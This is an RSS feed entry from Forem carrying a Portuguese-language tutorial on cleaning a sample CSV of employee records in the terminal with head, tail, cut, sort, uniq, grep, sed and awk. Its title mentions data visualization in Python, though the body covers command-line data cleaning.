<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Moprius</title>
    <description>The latest articles on Forem by Moprius (@moprius).</description>
    <link>https://forem.com/moprius</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F708604%2F64f704cb-8f38-485e-a36b-632b5b9953c5.png</url>
      <title>Forem: Moprius</title>
      <link>https://forem.com/moprius</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/moprius"/>
    <language>en</language>
    <item>
      <title>Visualização de dados em Python</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Thu, 20 Nov 2025 15:50:02 +0000</pubDate>
      <link>https://forem.com/moprius/visualizacao-de-dados-em-python-43j0</link>
      <guid>https://forem.com/moprius/visualizacao-de-dados-em-python-43j0</guid>
      <description>&lt;p&gt;Quando alguém fala em “limpar dados”, a primeira imagem que costuma vir à cabeça é abrir um Jupyter Notebook e começar a brincar com pandas. Mas tem uma coisa que pouca gente lembra: uma parte bem poderosa dessa faxina pode acontecer direto no terminal, usando ferramentas que já vêm instaladas no sistema.&lt;/p&gt;

&lt;p&gt;Aqui você vai ver como usar utilitários básicos de linha de comando para limpar, transformar e explorar arquivos de dados. Nada de instalar mil coisas: só o seu terminal aberto e alguns arquivos CSV na pasta, como se você estivesse mexendo numa planilha cheia de problemas de cadastro de clientes.&lt;/p&gt;

&lt;p&gt;Antes de sair digitando comando, vale entender por que isso é tão útil no dia a dia:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ferramentas de linha de comando são simples de usar, rápidas e eficientes, principalmente quando o arquivo é grande, tipo log de sistema, extrato gigante em CSV ou export de ERP.&lt;/li&gt;
&lt;li&gt;Elas já vêm no Linux e no macOS, e existem versões para Windows também.&lt;/li&gt;
&lt;li&gt;São ótimas para dar aquela primeira olhada nos dados antes de carregar tudo no Python ou em outra linguagem.&lt;/li&gt;
&lt;li&gt;É fácil encadear comandos em scripts e reaproveitar essa rotina de limpeza como parte de uma automação, seja num cron job, num pipeline de dados ou num script de manutenção.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vamos colocar a mão no teclado.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Dica: imagine que este texto está acompanhado de um script Bash em um repositório no GitHub. A ideia é que você abra o terminal, deixe o arquivo ao lado e vá copiando os comandos para sentir na pele como funciona.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  Criando um conjunto de dados “sujo”
&lt;/h1&gt;

&lt;p&gt;Primeiro passo: montar um CSV bem bagunçado para brincar. Ele simula problemas reais que aparecem em cadastro de RH, planilhas de vendas, lista de alunos e por aí vai.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; messy_data.csv &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
name,age,salary,department,email
John Lee,32,50000,Engineering,john@example.com
Jane Smith,28,55000,Marketing,jane@example.com
   Bob Davis    ,35,60000,Engineering,bob@example.com
Alice Williams,29,,Marketing,alice@example.com
Charlie Brown,45,70000,Sales,charlie@example.com
Dave Wilson,31,52000,Engineering,
Emma Davis,,58000,Marketing,emma@example.com
Frank Miller,38,65000,Sales,frank@example.com
John Lee,32,50000,Engineering,john@example.com
Grace Lee,27,51000,Engineering,grace@example.com
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse mini–conjunto de dados já vem com vários problemas típicos: espaço sobrando antes e depois de alguns nomes, valores faltando, linhas duplicadas. É o tipo de coisa que aparece quando você junta dados de sistemas diferentes, importa planilhas de várias pessoas ou baixa relatórios de plataformas distintas. Ótimo cenário para aprender.&lt;/p&gt;




&lt;h1&gt;
  
  
  1. Explorando seus dados com &lt;code&gt;head&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt; e &lt;code&gt;wc&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Antes de tentar arrumar qualquer coisa, você precisa entender com o que está lidando. É como abrir um armário bagunçado e dar aquela primeira olhada antes de decidir o que vai pro lixo, o que vai pra doação e o que volta pra prateleira.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ver as 5 primeiras linhas (incluindo o cabeçalho)&lt;/span&gt;
&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 5 messy_data.csv

&lt;span class="c"&gt;# Ver as 3 últimas linhas&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 3 messy_data.csv

&lt;span class="c"&gt;# Contar o total de linhas (incluindo o cabeçalho)&lt;/span&gt;
&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; messy_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que está rolando aqui?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;head -n 5&lt;/code&gt; mostra as 5 primeiras linhas, uma prévia rápida para ver se o formato do arquivo está dentro do esperado.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tail -n 3&lt;/code&gt; mostra as 3 últimas, ótimo para checar se o arquivo terminou direito ou se ficou alguma linha cortada no final.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;wc -l&lt;/code&gt; conta quantas linhas existem; tirando 1 (do cabeçalho), você descobre quantos registros tem de verdade.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Saída de exemplo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name,age,salary,department,email
John Lee,32,50000,Engineering,john@example.com
Jane Smith,28,55000,Marketing,jane@example.com
   Bob Davis    ,35,60000,Engineering,bob@example.com
Alice Williams,29,,Marketing,alice@example.com
Frank Miller,38,65000,Sales,frank@example.com
John Lee,32,50000,Engineering,john@example.com
Grace Lee,27,51000,Engineering,grace@example.com
11 messy_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;É como dar aquela olhada rápida numa planilha no LibreOffice só para ver se os dados “parecem” certos.&lt;/p&gt;




&lt;h1&gt;
  
  
  2. Visualizando colunas específicas com &lt;code&gt;cut&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Nem sempre você quer ver o arquivo todo. Às vezes, só quer saber o nome das pessoas e o setor onde trabalham, tipo quando sua chefe pede “me manda só a lista de nomes com o departamento, o resto não importa”.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;,4 messy_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Entendendo por partes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cut&lt;/code&gt; é uma ferramenta para “recortar” pedaços de cada linha.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-d','&lt;/code&gt; diz qual é o separador de campos; aqui é vírgula, como em qualquer CSV padrão.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-f1,4&lt;/code&gt; indica que você quer as colunas 1 e 4 (name e department).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Você também pode usar intervalos de colunas: &lt;code&gt;-f1-3&lt;/code&gt; pegaria as colunas de 1 até 3.&lt;/p&gt;

&lt;p&gt;Saída:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name,department
John Lee,Engineering
Jane Smith,Marketing
   Bob Davis    ,Engineering
Alice Williams,Marketing
Charlie Brown,Sales
Dave Wilson,Engineering
Emma Davis,Marketing
Frank Miller,Sales
John Lee,Engineering
Grace Lee,Engineering
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Isso lembra muito filtrar colunas numa planilha, só que aqui você faz com um comando de uma linha e pode encaixar isso num script reutilizável.&lt;/p&gt;




&lt;h1&gt;
  
  
  3. Removendo linhas duplicadas com &lt;code&gt;sort&lt;/code&gt; e &lt;code&gt;uniq&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Reparou que “John Lee” aparece duas vezes no arquivo? Em bancos de dados reais isso é clássico: cadastro duplicado de cliente, aluno repetido, funcionário que entrou duas vezes na lista de pagamento.&lt;/p&gt;

&lt;p&gt;Vamos tratar isso.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Salvar o cabeçalho primeiro&lt;/span&gt;
&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 1 messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; cleaned_data.csv

&lt;span class="c"&gt;# Remover duplicatas do restante (sem o cabeçalho)&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; cleaned_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que cada parte faz?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;head -n 1&lt;/code&gt; pega só a primeira linha, o cabeçalho, e salva em &lt;code&gt;cleaned_data.csv&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tail -n +2&lt;/code&gt; pega tudo a partir da segunda linha, pulando o cabeçalho.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sort&lt;/code&gt; ordena as linhas; isso é importante porque o &lt;code&gt;uniq&lt;/code&gt; só consegue remover duplicatas que estão uma abaixo da outra.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;uniq&lt;/code&gt; elimina linhas repetidas adjacentes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; acrescenta o resultado ao final do arquivo (em vez de sobrescrever como &lt;code&gt;&amp;gt;&lt;/code&gt; faria).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;É como pegar uma lista de chamada, ordenar por nome e riscar os duplicados, deixando tudo organizadinho.&lt;/p&gt;




&lt;h1&gt;
  
  
  4. Buscando e filtrando com &lt;code&gt;grep&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Agora vamos falar de buscas e filtros. Quer localizar só quem está no setor de Engenharia? Ou encontrar linhas com campo vazio? A ferramenta que resolve isso direto no terminal é o &lt;code&gt;grep&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encontrar todas as linhas de Engenharia&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Engineering"&lt;/span&gt; messy_data.csv

&lt;span class="c"&gt;# Encontrar linhas com campos vazios (duas vírgulas seguidas)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;",,"&lt;/span&gt; messy_data.csv

&lt;span class="c"&gt;# Excluir linhas com dados faltando&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;",,"&lt;/span&gt; messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; no_missing.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como funciona:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;grep "padrão"&lt;/code&gt; procura por linhas que contenham aquele texto.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -v&lt;/code&gt; faz o contrário: mostra só as linhas que &lt;strong&gt;não&lt;/strong&gt; batem com o padrão.&lt;/li&gt;
&lt;li&gt;No caso de &lt;code&gt;",,"&lt;/code&gt;, estamos assumindo que um valor faltando vira duas vírgulas seguidas, algo comum quando um campo num CSV fica em branco.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Isso é muito útil quando você quer, por exemplo, separar uma lista “limpa” de clientes com todos os campos preenchidos e outra lista só com os registros problemáticos para corrigir depois.&lt;/p&gt;




&lt;h1&gt;
  
  
  5. Tirando espaços em excesso com &lt;code&gt;sed&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Repara no registro de “Bob Davis”: o nome está com espaços sobrando antes e depois. Isso atrapalha na hora de comparar, agrupar ou até de mostrar o nome num relatório bonitinho.&lt;/p&gt;

&lt;p&gt;Vamos remover esse excesso.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/^[ \t]*//; s/[ \t]*$//'&lt;/span&gt; messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; trimmed_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que está acontecendo aqui?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sed&lt;/code&gt; é um “editor de fluxo”, uma ferramenta para editar texto enquanto ele passa pelo comando, sem abrir editor gráfico.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;s/padrão/substituição/&lt;/code&gt; é a sintaxe de substituição.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;^[ \t]*&lt;/code&gt; combina espaços ou tabulações &lt;strong&gt;no começo&lt;/strong&gt; da linha.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[ \t]*$&lt;/code&gt; combina espaços ou tabulações &lt;strong&gt;no fim&lt;/strong&gt; da linha.&lt;/li&gt;
&lt;li&gt;O ponto e vírgula separa duas operações: primeiro limpamos o começo, depois o final.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Em termos práticos, é como usar “remover espaços extras” numa planilha, só que em qualquer arquivo texto que estiver passando pelo seu pipeline.&lt;/p&gt;




&lt;h1&gt;
  
  
  6. Substituindo valores com &lt;code&gt;sed&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Às vezes você precisa padronizar termos ou corrigir um erro de digitação. Imagine que o setor “Engineering” precisasse aparecer como “Tech” nos relatórios internos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Trocar todas as ocorrências de "Engineering" por "Tech"&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/Engineering/Tech/g'&lt;/span&gt; messy_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora, vamos supor que você queira preencher e-mails vazios com um valor padrão, do tipo “&lt;a href="mailto:no-email@example.com"&gt;no-email@example.com&lt;/a&gt;”, só para não deixar o campo em branco em nenhuma linha.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Substituir e-mails vazios por "no-email@example.com"&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/,$/,no-email@example.com/'&lt;/span&gt; messy_data.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Entendendo o comando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;O &lt;code&gt;g&lt;/code&gt; no final significa “global”: substitui todas as ocorrências na linha, não apenas a primeira.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;,$&lt;/code&gt; identifica uma vírgula no final da linha, sinal de que o último campo está vazio.&lt;/li&gt;
&lt;li&gt;Você pode emendar várias substituições usando &lt;code&gt;;&lt;/code&gt; entre elas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;É como fazer “localizar e substituir” num editor de texto, mas com a vantagem de rodar isso em scripts e automatizar a correção sempre que um arquivo novo chegar.&lt;/p&gt;




&lt;h1&gt;
  
  
  7. Contando e resumindo com &lt;code&gt;awk&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;O &lt;code&gt;awk&lt;/code&gt; é uma espécie de canivete suíço quando você precisa trabalhar com campos, somas e estatísticas simples. Vamos usar para analisar um pouco o nosso arquivo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Contar registros por departamento&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;

&lt;span class="c"&gt;# Calcular idade média (ignorando cabeçalho e valores vazios)&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'{if($2) sum+=$2; if($2) count++} END {print "Average age:", sum/count}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que esse &lt;code&gt;awk&lt;/code&gt; faz?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-F','&lt;/code&gt; define a vírgula como separador de campos.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$2&lt;/code&gt; é o segundo campo, nossa coluna de idade.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;if($2)&lt;/code&gt; garante que só vamos considerar linhas em que a idade não está vazia.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sum += $2&lt;/code&gt; vai acumulando as idades.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;count++&lt;/code&gt; conta quantos registros válidos entraram no cálculo.&lt;/li&gt;
&lt;li&gt;O bloco &lt;code&gt;END { ... }&lt;/code&gt; roda depois de passar por todas as linhas e imprime a média.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Saída típica:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      5 Engineering
      3 Marketing
      2 Sales
Average age: 33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;É como pedir para o Excel fazer uma Tabela Dinâmica e uma média, só que tudo na linha de comando. Útil pra caramba quando você está no servidor sem interface gráfica ou montando um job automatizado.&lt;/p&gt;




&lt;h1&gt;
  
  
  8. Combinando comandos com pipes
&lt;/h1&gt;

&lt;p&gt;A verdadeira força da linha de comando aparece quando você começa a encadear várias ferramentas usando o famoso &lt;code&gt;|&lt;/code&gt;, o “pipe”. Ele pega a saída de um comando e joga direto como entrada do próximo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Pegar departamentos únicos, em ordem alfabética&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt;

&lt;span class="c"&gt;# Encontrar engenheiros com salário &amp;gt; 55000&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Engineering"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'$3 &amp;gt; 55000'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;,3

&lt;span class="c"&gt;# Contar funcionários por departamento, com contagem&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui acontece o seguinte:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cada &lt;code&gt;|&lt;/code&gt; passa o resultado do comando anterior para o seguinte.&lt;/li&gt;
&lt;li&gt;Você monta uma espécie de “esteira” de processamento, como linha de produção de fábrica: um comando recorta, outro filtra, outro agrupa, outro ordena.&lt;/li&gt;
&lt;li&gt;No último exemplo, &lt;code&gt;sort -rn&lt;/code&gt; ordena em ordem numérica reversa (dos maiores para os menores).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Saída ilustrativa:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Engineering
Marketing
Sales
   Bob Davis    ,60000
      5 Engineering
      3 Marketing
      2 Sales
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dá para perceber como as peças vão se encaixando? Você começa com um CSV simples e, em poucos comandos, tem um mini–relatório pronto.&lt;/p&gt;




&lt;h1&gt;
  
  
  9. Convertendo formatos de dados
&lt;/h1&gt;

&lt;p&gt;Em alguns momentos você precisa mudar o “jeito” do arquivo, seja para importar em outro sistema, seja para abrir melhor em alguma ferramenta. Um caso comum é trocar vírgulas por tabulações, criando um TSV.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Converter CSV para TSV (tab separado)&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/,/\t/g'&lt;/span&gt; messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; data.tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora vamos adicionar uma coluna fixa, por exemplo, o ano “2024” para todas as linhas. Pode ser algo como o ano do relatório ou da base de referência.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'BEGIN{OFS=","} {print $0, "2024"}'&lt;/span&gt; messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; data_with_year.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Detalhando esse &lt;code&gt;awk&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;BEGIN{OFS=","}&lt;/code&gt; define que o separador de saída será vírgula.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$0&lt;/code&gt; representa a linha inteira de entrada.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;print $0, "2024"&lt;/code&gt; imprime a linha original e, na sequência, a nova coluna “2024”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;É jeito rápido de enriquecer seus dados sem abrir editor algum, como se você estivesse inserindo uma coluna inteira numa planilha com o mesmo valor para todo mundo.&lt;/p&gt;




&lt;h1&gt;
  
  
  10. Montando um pipeline completo de limpeza
&lt;/h1&gt;

&lt;p&gt;Agora vamos juntar tudo em um fluxo só, uma sequência de comandos que pega o arquivo sujo e cospe um arquivo bem mais apresentável.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Salvar o cabeçalho&lt;/span&gt;
&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 1 messy_data.csv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; final_clean.csv

&lt;span class="c"&gt;# Limpar os dados: remover duplicatas, aparar espaços, excluir linhas com faltas&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2 messy_data.csv | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/^[ \t]*//; s/[ \t]*$//'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;",,"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; final_clean.csv

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Cleaning complete! Check final_clean.csv"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que esse pipeline faz, na prática?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Garante que o cabeçalho fique preservado, indo direto para &lt;code&gt;final_clean.csv&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Pula o cabeçalho e trabalha só nas linhas de dados.&lt;/li&gt;
&lt;li&gt;Remove espaços extras no começo e no fim de cada linha.&lt;/li&gt;
&lt;li&gt;Joga fora qualquer linha que tenha valores faltando (detectados pelo &lt;code&gt;",,"&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Ordena as linhas e elimina duplicatas.&lt;/li&gt;
&lt;li&gt;Anexa o resultado limpo ao arquivo final.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;É quase como criar um “filtro inteligente” para planilhas, só que em forma de script. Você pode rodar isso todo dia em um diretório de arquivos novos, por exemplo, e ter sempre dados mais organizados antes de mandar para o banco ou para o Python.&lt;/p&gt;




&lt;h1&gt;
  
  
  Encerrando a ideia
&lt;/h1&gt;

&lt;p&gt;Limpar dados na linha de comando é uma habilidade silenciosa, que não aparece em gráfico bonito, mas que faz uma diferença enorme na vida de quem lida com CSV, logs, exportações de sistemas e planilhas bagunçadas. Essas ferramentas são rápidas, confiáveis e convivem muito bem com Python e outras linguagens: você continua usando seus notebooks, só que chega neles com menos sujeira.&lt;/p&gt;

&lt;p&gt;O mais interessante é que tudo isso não serve só para quem se vê como “cientista de dados”. Manipular dados direto no terminal ajuda em engenharia de dados, DevOps, administração de sistemas e qualquer rotina em que você precise mexer com arquivos de texto grandes de forma repetitiva.&lt;/p&gt;

&lt;p&gt;Se você começar a praticar com seus próprios arquivos — lista de clientes, extrato exportado do banco, CSV de vendas da loja online, relatório de sistema acadêmico — vai perceber que muita tarefa chata some da sua rotina. E, com o tempo, vai ter cada vez mais vontade de resolver pequenos problemas de dados com meia dúzia de comandos no terminal em vez de abrir um notebook pesado só para uma limpeza rápida.&lt;/p&gt;

</description>
      <category>python</category>
      <category>datascience</category>
      <category>programming</category>
